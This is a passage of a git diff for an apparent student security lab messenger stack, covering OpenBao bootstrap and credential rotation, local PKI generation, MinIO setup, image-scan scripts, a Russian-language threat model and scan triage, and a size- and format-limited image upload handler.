(role + ".hcl")).read_text(), + }, token) + call("auth/cert/certs/" + role, { + "certificate": (RUNTIME / role / "service.crt").read_text(), + "allowed_dns_sans": [role], + "token_policies": [role], + "token_no_default_policy": True, + "token_ttl": "5m" if role == "operator" else f"{ttl}s", + "token_max_ttl": "5m" if role == "operator" else "5m", + "token_explicit_max_ttl": "5m", + }, token) + if role == "operator": + continue + try: + call("messenger/data/" + role, token=token) + except HTTPError as exc: + if exc.code != 404: + raise + call("messenger/data/" + role, {"data": initial_values(role)}, token) + + +def seal_status(): + for _ in range(25): + try: + return call("sys/seal-status") + except OSError: + time.sleep(1) + raise RuntimeError("OpenBao HTTPS listener is unavailable") + + +def bootstrap(): + MATERIAL.mkdir(mode=0o700, exist_ok=True) + status = seal_status() + if not status["initialized"]: + result = call("sys/init", {"secret_shares": 3, "secret_threshold": 2}, method="PUT") + write(SHARES, json.dumps(result["keys_base64"]), 0o600) + write(INITIAL, result["root_token"], 0o600) + unseal() + if INITIAL.exists(): + token = INITIAL.read_text() + configure(token) + login() + call("auth/token/revoke-self", {}, token) + INITIAL.unlink() + else: + login() + + +def rotate_db(): + token = login()["client_token"] + values = call("messenger/data/api", token=token)["data"]["data"] + password = secrets.token_hex(32) + # Send SQL over stdin. The local peer-auth socket belongs to the DB container. + subprocess.run( + ["docker", "compose", "exec", "-T", "-u", "postgres", "db", "psql", + "-q", "-v", "ON_ERROR_STOP=1", "-d", "messenger"], + input=f"ALTER ROLE lab_api PASSWORD '{password}';\n", + text=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, + ) + values["DATABASE_URL"] = db_url("api", password) + call("messenger/data/api", {"data": values}, token) + write(ROOT / "bootstrap" / "db" / "api", password) + # Close existing sessions to prove a subsequent connection cannot use the old credential. + subprocess.run( + ["docker", "compose", "exec", "-T", "-u", "postgres", "db", "psql", "-q", "-d", "messenger"], + input="SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE usename='lab_api';\n", + text=True, check=True, stdout=subprocess.DEVNULL, + ) + + +def rotate_s3(): + token = login()["client_token"] + values = call("messenger/data/api", token=token)["data"]["data"] + password = secrets.token_hex(32) + path = ROOT / "bootstrap" / "s3" / "api" + write(path, password) + subprocess.run(["docker", "compose", "run", "--rm", "--no-deps", "-T", "-e", "S3_ROLE=api", + "s3-bootstrap"], stdin=subprocess.DEVNULL, check=True) + values["S3_SECRET_ACCESS_KEY"] = password + call("messenger/data/api", {"data": values}, token) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("action", choices=("bootstrap", "unseal", "seal", "rotate-db", "rotate-s3")) + action = parser.parse_args().action + if action == "seal": + call("sys/seal", token=login()["client_token"], method="PUT") + else: + {"bootstrap": bootstrap, "unseal": unseal, "rotate-db": rotate_db, "rotate-s3": rotate_s3}[action]() + print("OpenBao operator action completed:", action) + + +if __name__ == "__main__": + main() diff --git a/scripts/bootstrap_s3.sh b/scripts/bootstrap_s3.sh new file mode 100644 index 0000000..30dbc8a --- /dev/null +++ b/scripts/bootstrap_s3.sh @@ -0,0 +1,25 @@ +#!/bin/sh +set -eu +export MC_CONFIG_DIR=/tmp/mc +mkdir -p "$MC_CONFIG_DIR/certs/CAs" +cp /pki/ca.crt "$MC_CONFIG_DIR/certs/CAs/ca.crt" +for attempt in $(seq 1 45); do + if mc alias set local https://s3:9000 operator "$(cat /credentials/root)" >/dev/null 2>&1; then + break + fi + test "$attempt" -lt 45 + sleep 1 +done +mc mb --ignore-existing local/messenger-attachments >/dev/null +mc anonymous set none local/messenger-attachments >/dev/null +case "${S3_ROLE:-all}" in + all) roles="api worker reconciler" ;; + api) roles=api ;; + *) exit 2 ;; +esac +for role in $roles; do + mc admin policy create local "messenger-$role" "/policies/$role.json" >/dev/null + mc admin user add local "lab-$role" "$(cat "/credentials/$role")" >/dev/null + mc admin policy attach local "messenger-$role" --user "lab-$role" >/dev/null +done +echo 'Private bucket and scoped accounts ready' diff --git a/scripts/local_pki.py b/scripts/local_pki.py new file mode 100644 index 0000000..0496a53 --- /dev/null +++ b/scripts/local_pki.py @@ -0,0 +1,188 @@ +#!/usr/bin/env python3 +"""Generate local identities and only the runtime material each service needs.""" +import argparse +import hashlib +import json +import os +from pathlib import Path +import secrets +import subprocess +import tempfile + +ROOT = Path("secrets") +CA = ROOT / "authority" +RUNTIME = ROOT / "runtime" +ROLES = ("api", "worker", "dispatcher", "reconciler") +SERVERS = ("api", "openbao", "db", "s3", "broker", "collector", + "prometheus", "loki", "tempo", "grafana") + + +def openssl(*args, capture=False): + result = subprocess.run(["openssl", *map(str, args)], check=True, + stdout=subprocess.PIPE if capture else subprocess.DEVNULL, + stderr=subprocess.PIPE) + return result.stdout.decode() if capture else None + + +def write(path, content, mode=0o444): + path.parent.mkdir(parents=True, exist_ok=True) + if path.is_file() and path.read_text() == content: + path.chmod(mode) + return + with tempfile.NamedTemporaryFile(mode="w", dir=path.parent, delete=False) as handle: + handle.write(content) + temporary = Path(handle.name) + temporary.chmod(mode) + temporary.replace(path) + + +def random_file(path): + if not path.exists(): + write(path, secrets.token_hex(32)) + + +def certificate(name, directory=None, issuer=CA): + directory = directory or RUNTIME / name + directory.mkdir(parents=True, exist_ok=True) + key, cert = directory / "service.key", directory / "service.crt" + if cert.exists(): + return + dns = ["DNS:" + name] + if name in ("public", "grafana", "openbao"): + dns += ["DNS:localhost", "IP:127.0.0.1"] + with tempfile.TemporaryDirectory(dir=ROOT) as scratch: + folder = Path(scratch) + private, csr, extensions = (folder / x for x in ("key", "csr", "extensions")) + extensions.write_text( + "basicConstraints=critical,CA:FALSE\n" + "keyUsage=critical,digitalSignature,keyEncipherment\n" + "extendedKeyUsage=serverAuth,clientAuth\n" + "subjectAltName=" + ",".join(dns) + "\n" + ) + openssl("req", "-new", "-newkey", "ec", "-pkeyopt", "ec_paramgen_curve:P-256", + "-nodes", "-subj", "/CN=" + name, "-keyout", private, "-out", csr) + openssl("x509", "-req", "-days", "7", "-in", csr, "-CA", issuer / "ca.crt", + "-CAkey", issuer / "ca.key", "-set_serial", "0x" + secrets.token_hex(16), + "-extfile", extensions, "-out", cert) + write(key, private.read_text()) + write(directory / "ca.crt", (CA / "ca.crt").read_text()) + write(directory / "service.pem", cert.read_text() + key.read_text()) + + +def authority(directory, name): + directory.mkdir(mode=0o700, parents=True, exist_ok=True) + if not (directory / "ca.crt").exists(): + openssl("req", "-new", "-x509", "-days", "365", "-newkey", "ec", "-pkeyopt", + "ec_paramgen_curve:P-256", "-nodes", "-subj", "/CN=" + name, + "-addext", "basicConstraints=critical,CA:TRUE,pathlen:0", + "-addext", "keyUsage=critical,keyCertSign,cRLSign", + "-keyout", directory / "ca.key", "-out", directory / "ca.crt") + + +def pin(directory): + value = openssl("x509", "-in", directory / "service.crt", "-noout", "-serial", capture=True) + return format(int(value.strip().split("=")[1], 16), "x") + + +def activate_lb(directory): + write(RUNTIME / "lb" / "client.pem", (directory / "service.pem").read_text()) + write(RUNTIME / "api" / "lb-serial", pin(directory)) + + +def activate_collector_client(source): + runtime = RUNTIME / "collector" / "client" + for name in ("service.crt", "service.key"): + write(runtime / name, (source / name).read_text()) + fingerprint = openssl("x509", "-in", source / "service.crt", "-noout", "-fingerprint", + "-sha256", capture=True).split("=", 1)[1].strip() + for target in ("loki", "tempo"): + write(RUNTIME / target / "collector-fingerprint", fingerprint.replace(":", "").lower() + "\n") + + +def bootstrap(): + ROOT.mkdir(mode=0o700, exist_ok=True) + ROOT.chmod(0o700) + (ROOT / "rotation" / "probe").mkdir(parents=True, exist_ok=True) + authority(CA, "Lab7 local authority") + authority(ROOT / "foreign", "Lab7 untrusted test authority") + for name in set(ROLES) | set(SERVERS) | {"operator", "public", "intruder", "scraper"}: + certificate(name) + certificate("lb", ROOT / "foreign" / "client", ROOT / "foreign") + for name in ("public.crt", "private.key"): + source = "service.crt" if name == "public.crt" else "service.key" + write(RUNTIME / "s3" / name, (RUNTIME / "s3" / source).read_text()) + + write(RUNTIME / "lb" / "server.pem", (RUNTIME / "public" / "service.pem").read_text()) + if not (RUNTIME / "api" / "lb-serial").exists(): + initial_lb = ROOT / "rotation" / "initial-lb" + certificate("lb", initial_lb) + activate_lb(initial_lb) + if not (RUNTIME / "collector" / "client" / "service.crt").exists(): + initial = ROOT / "rotation" / "initial-collector" + certificate("collector-export", initial) + activate_collector_client(initial) + for name in ("db_owner", *ROLES): + random_file(ROOT / "bootstrap" / "db" / name) + for name in ("root", "api", "worker", "reconciler"): + random_file(ROOT / "bootstrap" / "s3" / name) + random_file(ROOT / "bootstrap" / "grafana" / "admin") + for name in ("producer", "worker"): + random_file(ROOT / "bootstrap" / "broker" / name) + acl = ["user default off"] + commands = { + "producer": "+ping +xadd +xgroup|create", + "worker": "+ping +xgroup|create +xautoclaim +xreadgroup +xack", + } + for name, permissions in commands.items(): + raw = (ROOT / "bootstrap" / "broker" / name).read_bytes() + hashed = hashlib.sha256(raw).hexdigest() + acl.append(f"user {name} on #{hashed} ~attachments.jobs {permissions}") + write(RUNTIME / "broker" / "users.acl", "\n".join(acl) + "\n") + for role in ROLES: + write(Path("secrets") / "policies" / (role + ".hcl"), + (Path("infra/openbao") / (role + ".hcl")).read_text()) + grafana = RUNTIME / "grafana" + data = [] + for service, port in (("prometheus", 9090), ("loki", 3100), ("tempo", 3200)): + item = dict(name=service.title(), uid=service, type=service, access="proxy", + url=f"https://{service}:{port}", isDefault=service == "prometheus", + jsonData={"tlsAuth": True, "tlsAuthWithCACert": True}, + secureJsonData={"tlsCACert": (grafana / "ca.crt").read_text(), + "tlsClientCert": (grafana / "service.crt").read_text(), + "tlsClientKey": (grafana / "service.key").read_text()}) + if service == "loki": + item["jsonData"]["derivedFields"] = [{ + "name": "TraceID", "matcherRegex": '"trace_id":"([0-9a-f]{32})"', + "datasourceUid": "tempo", "url": "$${__value.raw}", + }] + if service == "tempo": + item["jsonData"]["tracesToLogsV2"] = {"datasourceUid": "loki", "filterByTraceID": True} + data.append(item) + write(grafana / "sources.yaml", json.dumps({"apiVersion": 1, "datasources": data}, indent=2)) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("action", choices=("bootstrap", "rotate-lb", "rotate-collector")) + args = parser.parse_args() + os.umask(0o022) + if args.action == "bootstrap": + bootstrap() + elif args.action == "rotate-lb": + previous = ROOT / "rotation" / "probe" / "previous.pem" + write(previous, (RUNTIME / "lb" / "client.pem").read_text(), 0o444) + directory = ROOT / "rotation" / secrets.token_hex(8) + certificate("lb", directory) + activate_lb(directory) + else: + old = RUNTIME / "collector" / "client" + previous = ROOT / "rotation" / "probe" / "collector-previous.pem" + write(previous, (old / "service.crt").read_text() + (old / "service.key").read_text()) + directory = ROOT / "rotation" / secrets.token_hex(8) + certificate("collector-export", directory) + activate_collector_client(directory) + print("Local PKI updated:", args.action) + + +if __name__ == "__main__": + main() diff --git a/scripts/restart.sh b/scripts/restart.sh new file mode 100755 index 0000000..69fda63 --- /dev/null +++ b/scripts/restart.sh @@ -0,0 +1,15 @@ +#!/usr/bin/env bash +set -euo pipefail +cd "$(dirname "$0")/.." +services=(db s3 openbao streams otel metrics logs traces grafana api worker dispatcher reconciler) +snapshot() { + docker compose ps -a -q "${services[@]}" | xargs -r docker inspect --format \ + '{{index .Config.Labels "com.docker.compose.service"}} {{.Id}} {{.State.StartedAt}} {{range .Mounts}}{{if eq .Type "volume"}}{{.Name}} {{end}}{{end}}' | sort +} +snapshot > evidence/persistence-before.txt +docker compose stop lb api worker dispatcher reconciler grafana otel metrics logs traces streams +docker compose restart db s3 openbao broker collector prometheus loki tempo +python3 -m scripts.bao_operator unseal +docker compose start streams otel metrics logs traces grafana api worker dispatcher reconciler lb +python3 scripts/wait_ready.py +snapshot > evidence/persistence-after.txt diff --git a/scripts/scan_images.sh b/scripts/scan_images.sh new file mode 100755 index 0000000..709c701 --- /dev/null +++ b/scripts/scan_images.sh @@ -0,0 +1,29 @@ +#!/usr/bin/env bash +set -euo pipefail +cd "$(dirname "$0")/.." +cache="$PWD/secrets/scans" +mkdir -p "$cache" +scanner=aquasec/trivy:0.69.3 +docker run --rm -v "$cache:/scan" "$scanner" image --cache-dir /scan --download-db-only +while read -r service image; do + if (( $# )) && [[ " $* " != *" $service "* ]]; then continue; fi + echo "Scanning $service $image" + docker image save "$image" -o "$cache/image.tar" + docker run --rm -v "$cache:/scan" "$scanner" image --cache-dir /scan \ + --input /scan/image.tar --skip-db-update --skip-java-db-update --scanners vuln \ + --severity HIGH,CRITICAL --format table --no-progress > "evidence/trivy-$service.txt" +done <<'IMAGES' +app mtusi2026lab7-app:1 +db postgres:16.9-bookworm +redis redis:7.4.3-bookworm +gateway haproxy:3.0.11-bookworm +bao openbao/openbao:2.7.2 +minio cgr.dev/chainguard/minio@sha256:616286de6ef3a1892876b126e745e152d8e03add6357203f8a1f854bdd1dce76 +mc mtusi2026lab7-mc:2025-04-16 +collector otel/opentelemetry-collector-contrib:0.123.0 +prometheus prom/prometheus:v3.2.1 +loki grafana/loki:3.4.2 +tempo grafana/tempo:2.7.2 +grafana grafana/grafana:11.6.0-ubuntu +IMAGES +rm -- "$cache/image.tar" diff --git a/scripts/start.sh b/scripts/start.sh new file mode 100755 index 0000000..10848ab --- /dev/null +++ b/scripts/start.sh @@ -0,0 +1,13 @@ +#!/usr/bin/env bash +set -euo pipefail +cd "$(dirname "$0")/.." +python3 scripts/local_pki.py bootstrap +docker compose config --quiet +docker compose build api s3-bootstrap +docker compose run --rm --no-deps -T volume-permissions /dev/null + printf 'Stopped API alias %s, container %.12s\n' "$TARGET_INSTANCE_ID" "$container" >> evidence/failover-hook.txt + exit 0 + fi +done +exit 1 diff --git a/scripts/test_expiry.sh b/scripts/test_expiry.sh new file mode 100755 index 0000000..c905eb9 --- /dev/null +++ b/scripts/test_expiry.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash +set -euo pipefail +cd "$(dirname "$0")/.." +restore() { + SESSION_TTL_SECONDS=3600 docker compose up -d --force-recreate --no-deps api + python3 scripts/wait_ready.py +} +trap restore EXIT +SESSION_TTL_SECONDS=2 docker compose up -d --force-recreate --no-deps api +python3 scripts/wait_ready.py +python3 student-tests/http_security.py expiry diff --git a/scripts/wait_ready.py b/scripts/wait_ready.py new file mode 100644 index 0000000..768d013 --- /dev/null +++ b/scripts/wait_ready.py @@ -0,0 +1,30 @@ +"""Wait for two independently ready replica aliases through verified ingress.""" +import argparse +import ssl +import time +import urllib.request + + +def wait(count, timeout): + context = ssl.create_default_context(cafile="secrets/authority/ca.crt") + end = time.monotonic() + timeout + aliases = set() + while time.monotonic() < end: + try: + with urllib.request.urlopen("https://localhost:8443/health/ready", context=context, timeout=3) as res: + aliases.add(res.headers["X-Instance-Id"]) + if len(aliases) >= count: + print("Ready aliases:", ", ".join(sorted(aliases))) + return + except OSError: + pass + time.sleep(.4) + raise SystemExit(f"Only {len(aliases)} ready API replicas within {timeout}s") + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("--count", type=int, default=2) + parser.add_argument("--timeout", type=int, default=65) + args = parser.parse_args() + wait(args.count, args.timeout) diff --git a/security/SCAN_TRIAGE.md b/security/SCAN_TRIAGE.md new file mode 100644 index 0000000..1e02d63 --- /dev/null +++ b/security/SCAN_TRIAGE.md @@ -0,0 +1,18 @@ +# Разбор сканирования — 11 ноября 2026 + +Lock Python проверен pip-audit 2.10.1. Trivy 0.69.3 проверил 12 поставляемых +образов по архивам `docker image save` без Docker socket. Срез HIGH/CRITICAL +и полный вывод по образам сохранены в evidence. В счётчиках есть транзитивные +библиотеки и дублирующиеся алиасы advisory. + +| Находка | Применимость в lab7 | Сделано и остаточный риск | +| --- | --- | --- | +| Starlette 0.46.2 и OpenTelemetry API 1.38.0 | Starlette обслуживает HTTP API, OTel включён во всех процессах приложения. Часть advisory касается неиспользуемых middleware, multipart и WebSocket | Обновлены FastAPI/Starlette до 0.162.4/1.7.0 и совместимый набор OTel до 1.45.2. Повторный pip-audit оставил находки только в Pillow. | +| Pillow 12.0.0, затем 12.3.0 | Allowlist PNG/JPEG закрывает TIFF, GIF, PDF, FPX и JPEG2000. JPEG draft не используется, JPEG-выход не получает входные EXIF/ICC/comment. PNG/EXIF и нативный декодер достижимы, в частности APNG allocation и повторный EXIF marker | Обновление до 12.3.0 устранило записи с fix до 12.3.0. Сканер сообщил ещё 39 записей с fix в 13.0.0, такой версии PyPI на момент установки не предлагал. Ограничения 10 MiB и 40 MP, subprocess с RLIMIT_AS 512 MiB и deadline 30 с, worker cgroup 768 MiB. В API проверяется файл, риск нативного парсинга сохраняется. [Повторный pip-audit](../evidence/pip-audit-final.json) | +| MinIO RELEASE.2025-04-22, CVE-2025-62506 и OIDC/LDAP advisories | Стенд использует IAM user keys. STS, LDAP и OIDC выключены. Границу S3 IAM повторно проверили после обновления | Образ заменён на Chainguard MinIO RELEASE.2026-11-09 по digest. Данные и ACL проверены. Trivy распознал пакеты Wolfi, инвентарь Go-модулей этого digest в выводе отсутствует. [Скан](../evidence/trivy-minio.txt) | +| OpenBao 2.4.4, CVE-2026-33757 / 33758 / 63132 | OIDC и recovery mode выключены, выдача credentials критична для стенда | Обновлён до 2.7.2 с single-node Raft. Сканер оставил HIGH в транзитивных модулях. Cert auth, TLS и policies проверены на новой версии. [Скан](../evidence/trivy-bao.txt) | +| CVE-2026-33186, gRPC в Collector/Tempo/Grafana | OTLP между контейнерами работает по HTTP/mTLS. gRPC Tempo/Loki привязан к loopback, клиенты из bridge-сети не подключаются | Риск ограничен локальным namespace и достижимыми компонентами. [Collector](../evidence/trivy-collector.txt) · [Tempo](../evidence/trivy-tempo.txt) · [Grafana](../evidence/trivy-grafana.txt) | +| CVE-2026-31789 в OpenSSL и находки базовых OS-образов | Указанный overflow OpenSSL относится к 32-bit, стенд amd64. Другие findings затрагивают TLS и базовые пакеты. GnuTLS DTLS не используется ingress | Короткие доверенные leaf, TLS 1.2+, ограниченные порты и права снижают поверхность. Обновления базовых образов и повторный scan нужны перед внешним использованием. [HAProxy](../evidence/trivy-gateway.txt) · [PostgreSQL](../evidence/trivy-db.txt) · [Приложение](../evidence/trivy-app.txt) | + +Сканирование по версиям не доказывает исполнимость конкретного пути. В проверке +использованы синтетические данные и локальные порты. diff --git a/security/THREAT_MODEL.md b/security/THREAT_MODEL.md index 31da287..aba3edf 100644 --- a/security/THREAT_MODEL.md +++ b/security/THREAT_MODEL.md @@ -1,19 +1,52 @@ -# Модель угроз — заполнить +# Модель угроз — lab7 ## Активы и акторы -TODO: пользовательские credentials/сессии, сообщения/вложения, service identities, CA/secrets, telemetry. Акторы: участник чата, посторонний пользователь, внешний клиент, скомпрометированный сервис, оператор. Опишите доступ атакующего и границы учебного стенда. +Активы стенда — пароль и bearer сессии, состав чатов, сообщения и файлы, +ключи сервисов и CA, рабочие credentials PostgreSQL/S3/Redis, OpenBao tokens, +unseal shares и telemetry. Внешний клиент достигает ingress по loopback. +Посторонний пользователь может зарегистрироваться, войти и узнать UUID +в тестовом сценарии. Скомпрометированный контейнер может обращаться к +доступным сетям со своей identity. Оператор управляет Docker, CA, init/unseal +и учётными данными административных интерфейсов. Доступ к хосту или Docker +daemon эквивалентен полному контролю над лабораторным стендом. ## Границы доверия -TODO: схема и ссылка на заполненную contracts/trust-matrix.md; публичные/внутренние интерфейсы, процессы, секреты и их выдача. +Клиент проверяет CA и SAN ingress. Дальше LB, приложение, broker, Collector, +хранилища и OpenBao проверяют transport identity и права на операции в своих +границах. OpenBao доступен по выделенной bridge-сети и с loopback оператора. +Сервисы с plaintext интерфейсом делят netns только со своим gateway. См. +[матрицу портов и identities](../contracts/trust-matrix.md). | Угроза и конкретный путь | Нарушаемый инвариант | Контроль | Отрицательный тест | Остаточное ограничение | | --- | --- | --- | --- | --- | -| TODO | TODO | TODO | TODO | TODO | - -На 4 минимум 6 конкретных угроз. Не заменяйте сценарии словами «SQL injection», «безопасный Docker», «mTLS включён» без пути и проверки. +| Подменить ingress самоподписанным leaf или обратиться по неправильному имени | Basic/Bearer уходят только доверенному ingress | CA + SAN в клиенте | `make test-security`, `http_security.py http` | Утечка CA key меняет модель доверия | +| Обойти HAProxy по адресу API с чужим leaf того же CA | Только текущий LB отправляет HTTP на API | CERT_REQUIRED, SAN lb + pin serial при новом подключении, закрытый host port | `docker compose run --rm -T audit`, `lifecycle.py leaf` | Ротация LB кратко прерывает соединения | +| Прочитать чужое вложение или подставить его ID в свой чат | Доступ выводится из Bearer и membership | Проверки membership на metadata, download и связывании | `http_security.py http` с чужим Bearer и X-User-Id | Участник может сохранить доступные ему данные | +| Истратить CPU/RAM на KDF параллельными логинами и регистрациями | Число KDF ограничено между API-репликами | DB rate budget, 2 KDF slots на API, 64 KiB JSON limit | `http_security.py budget`, `argon2_cost.py` | Общий лимит позволяет вытеснить легитимный вход до следующего окна | +| Загрузить чужой формат, слишком большой файл или имя с traversal | Размер и формат ограничены, имя не влияет на ключ | Стриминг 10 MiB, PNG/JPEG allowlist, 40 MP, server keys, subprocess 30 с и RLIMIT_AS | `http_security.py http` | Ошибки нативного декодера всё ещё возможны; лимиты уменьшают последствия | +| Использовать сертификат API или intruder для доступа к Redis | Job producer и consumer имеют только свои операции | mTLS allowlist CN + scoped ACL по командам и ключу | `trust.py` с действующим Redis паролем и неверной identity | Утечка одновременно leaf и producer secret позволяет публикацию; worker проверяет схему и DB job | +| Worker пытается читать password hashes, чужой S3-prefix или чужой секрет | Upload-worker ограничен pipeline-данными | DB grants, S3 IAM, OpenBao KV policy с точным путём | `trust.py` проверяет три отказа, включая policy write | Worker имеет доступ к оригиналам и вариантам для обработки | +| Подделать OTLP или читать сигналы из app role | Вход сигналов и read API разделены | mTLS CN и method/path ACL; query identity Grafana/оператора | `trust.py` проверяет intruder, app и Grafana | Компрометация разрешённого sender позволяет ему вносить ложную telemetry | +| Извлечь пароль, bearer или содержимое запроса из telemetry | Сигналы содержат только ограниченный набор полей | Ручные allowlist spans и structured logs, выключен raw access log | `telemetry_audit.py` проверяет synthetic canaries в Docker logs, Loki и Tempo | Тест проверяет выбранный путь и окно, охват всех будущих ошибок требует повторной проверки | +| Продолжить доступ после отзыва token/leaf или ротации пароля | Новые соединения используют действующую identity | Revoke accessor, serial pin и закрытие соединений при рестарте LB/PG sessions, ограниченный локальный lease | `lifecycle.py db/leaf/bao` | Уже завершённая операция остаётся завершённой; KV секреты статические на стороне хранилищ | ## Lifecycle и инциденты -TODO: bootstrap, expiry/renewal, revoke/rotation, компрометация identity, sealed OpenBao и восстановление. Указать владельца CA/unseal и способ защиты bootstrap credentials. Сопоставить scan findings с реальной применимостью и исправлением/остаточным риском. +Оператор создаёт локальный CA и leaf через `scripts/local_pki.py`. Ключ CA и +unseal shares хранятся в каталоге владельца вне образов и volumes. OpenBao +инициализируется до запуска приложений в отдельной сети, оператор хранит 3 +shares с порогом 2 в защищённой папке хоста и явно вызывает unseal после +рестарта. Корневой token отзывается после создания cert auth, scoped policies +и KV v2. Процессы получают короткий token по клиентскому cert, renew/re-auth +выполняют в памяти. При seal они продолжают уже выданный короткий lease, после +него API перестаёт принимать защищённую работу, worker прекращает получать +новые задания. При unseal чтение прежних credentials возобновляется, ротация +KV требует перезапуска соответствующих процессов. См. [отчёт](../REPORT.md). + +Операторская identity способна выдавать роли, менять секреты и запечатывать +OpenBao. Компрометация оператора требует отзыва его leaf и восстановления из +доверенного состояния. Docker mount и chmod защищают локальный материал от +обычных процессов, лабораторные shares собраны на одном хосте. См. +[разбор сканирования](SCAN_TRIAGE.md). diff --git a/src/__init__.py b/src/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/attachments.py b/src/attachments.py new file mode 100644 index 0000000..406d44f --- /dev/null +++ b/src/attachments.py @@ -0,0 +1,175 @@ +"""Ограниченный upload в staging; обработка и публикация выполняются worker.""" +import asyncio +import base64 +from datetime import datetime +import hashlib +import os +import tempfile +import threading +import unicodedata +import uuid +import warnings + +from fastapi import Request +from fastapi.responses import StreamingResponse +from PIL import Image, ImageFile, PngImagePlugin, UnidentifiedImageError +from pydantic import BaseModel, ConfigDict, Field +from starlette.concurrency import run_in_threadpool +from starlette.requests import ClientDisconnect + +from src.config import MAX_UPLOAD_BYTES, MAX_IMAGE_PIXELS, UPLOAD_TIMEOUT, MAX_PENDING_JOBS +from src.errors import ApiProblem +from src.storage import ObjectStore, unlock_attachment +from src.jobs import enqueue, event + +Image.MAX_IMAGE_PIXELS = MAX_IMAGE_PIXELS +ImageFile.LOAD_TRUNCATED_IMAGES = False +PngImagePlugin.MAX_TEXT_CHUNK = 1024 * 1024 +PngImagePlugin.MAX_TEXT_MEMORY = 2 * 1024 * 1024 +storage = ObjectStore() +upload_slots = asyncio.Semaphore(4) +validation_slots = threading.Semaphore(1) + + +class Attachment(BaseModel): + model_config = ConfigDict(extra='ignore') + id: uuid.UUID + chat_id: uuid.UUID + owner_id: uuid.UUID + filename: str + content_type: str + size_bytes: int + sha256: str + status: str + variants: list = Field(default_factory=list) + error_code: str | None = None + created_at: datetime + updated_at: datetime + + +def public_attachment(row): + return Attachment(**row).model_dump(mode='json') + + +def filename_valid(name): + if (not 1 <= len(name) <= 255 or not name.strip() or name in {'.', '..'} or + any(c in '/\\' or unicodedata.category(c) == 'Cc' for c in name)): + raise ApiProblem(400, 'invalid_request', 'Некорректное отображаемое имя файла') + + +def validate_image(file, declared_type): + # В API только ограниченная проверка структуры; полное декодирование — в worker. + with validation_slots, warnings.catch_warnings(): + warnings.simplefilter('error', Image.DecompressionBombWarning) + try: + file.seek(0) + # Pillow может закрыть свой file object. Дубликат FD сохраняет исходный spool. + with os.fdopen(os.dup(file.fileno()), 'rb') as probe, Image.open(probe, formats=['PNG', 'JPEG']) as image: + if image.width * image.height > MAX_IMAGE_PIXELS: + raise ApiProblem(413, 'payload_too_large', 'Слишком много пикселей') + detected = {'PNG': 'image/png', 'JPEG': 'image/jpeg'}[image.format] + if detected != declared_type: + raise ApiProblem(415, 'unsupported_media_type', 'MIME не совпадает с содержимым') + image.verify() + if declared_type == 'image/jpeg': + # Обрыв JPEG с отсутствующим EOI заметен без декодирования всех пикселей. + file.seek(0); previous=b''; ended=False + while chunk:=file.read(64*1024): + if b'\xff\xd9' in previous+chunk: ended=True + previous=chunk[-1:] + if not ended:raise OSError('truncated JPEG') + except (Image.DecompressionBombError, Image.DecompressionBombWarning): + raise ApiProblem(413, 'payload_too_large', 'Слишком много пикселей') from None + except (UnidentifiedImageError, OSError, ValueError, SyntaxError): + raise ApiProblem(415, 'unsupported_media_type', 'Повреждённое или неподдерживаемое изображение') from None + file.seek(0) + + +def persist(file, pool, chat_id, owner_id, filename, mime, size, sha256, md5): + attachment_id,job_id=uuid.uuid4(),uuid.uuid4() + stage=f'staging/{attachment_id}/{job_id}' + final=f'originals/{attachment_id}/v1/original' + with pool.connection() as db: + db.execute('SELECT pg_advisory_lock(hashtextextended(%s,0))',('attachment:'+str(attachment_id),));db.commit() + try: + storage.put(file,stage,size,mime,sha256,md5) + # Общая точка admission предотвращает переполнение при двух API. + db.execute("SELECT pg_advisory_xact_lock(hashtextextended('pipeline-admission',0))") + pending=db.execute("SELECT count(*) AS count FROM jobs WHERE status IN ('queued','processing')").fetchone()['count'] + if pending>=MAX_PENDING_JOBS: + raise ApiProblem(503,'unavailable','Очередь заполнена, повторите позже') + db.execute("INSERT INTO attachments(id,chat_id,owner_id,filename,content_type,size_bytes,sha256,object_key," + "status,lease_until) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,'queued',clock_timestamp())", + (attachment_id,chat_id,owner_id,filename,mime,size,sha256,final)) + job=db.execute("INSERT INTO jobs(id,attachment_id,pipeline_version,status,staging_key) " + "VALUES (%s,%s,1,'queued',%s) RETURNING *",(job_id,attachment_id,stage)).fetchone() + row=db.execute('UPDATE attachments SET current_job_id=%s WHERE id=%s RETURNING *', + (job_id,attachment_id)).fetchone() + enqueue(db,job);event(db,job_id,'accepted') + db.commit() # Staging уже устойчив, attachment/job/outbox фиксируются вместе. + return public_attachment(row) # Снимок queued, даже если worker очень быстрый. + finally: + # При неопределённом COMMIT ничего немедленно не удаляем. + db.rollback();unlock_attachment(db,attachment_id);db.commit() + + +def check_capacity(pool): + with pool.connection() as db: + count=db.execute("SELECT count(*) AS count FROM jobs WHERE status IN ('queued','processing')").fetchone()['count'] + if count>=MAX_PENDING_JOBS:raise ApiProblem(503,'unavailable','Очередь заполнена, повторите позже') + + +async def receive(request: Request, pool, chat_id, owner_id, filename): + await run_in_threadpool(check_capacity,pool) + filename_valid(filename) + mime = request.headers.get('content-type', '').split(';', 1)[0].strip().lower() + if mime not in {'image/png', 'image/jpeg'}: + raise ApiProblem(415, 'unsupported_media_type', 'Нужен PNG или JPEG') + length = request.headers.get('content-length') + if length is not None: + if not length.isdecimal(): + raise ApiProblem(400, 'invalid_request', 'Некорректный Content-Length') + if int(length) > MAX_UPLOAD_BYTES: + raise ApiProblem(413, 'payload_too_large', 'Лимит файла 10 MiB') + try: + async with asyncio.timeout(UPLOAD_TIMEOUT), upload_slots: + # На диске только временный bounded spool, не оригинал для будущего download. + with tempfile.TemporaryFile() as file: + size, sha, md5 = 0, hashlib.sha256(), hashlib.md5() + async for chunk in request.stream(): + size += len(chunk) + if size > MAX_UPLOAD_BYTES: + raise ApiProblem(413, 'payload_too_large', 'Лимит файла 10 MiB') + await run_in_threadpool(file.write, chunk) + sha.update(chunk); md5.update(chunk) + if not size: + raise ApiProblem(415, 'unsupported_media_type', 'Пустой файл') + await run_in_threadpool(validate_image, file, mime) + return await run_in_threadpool(persist, file, pool, chat_id, owner_id, filename, + mime, size, sha.hexdigest(), base64.b64encode(md5.digest()).decode()) + except 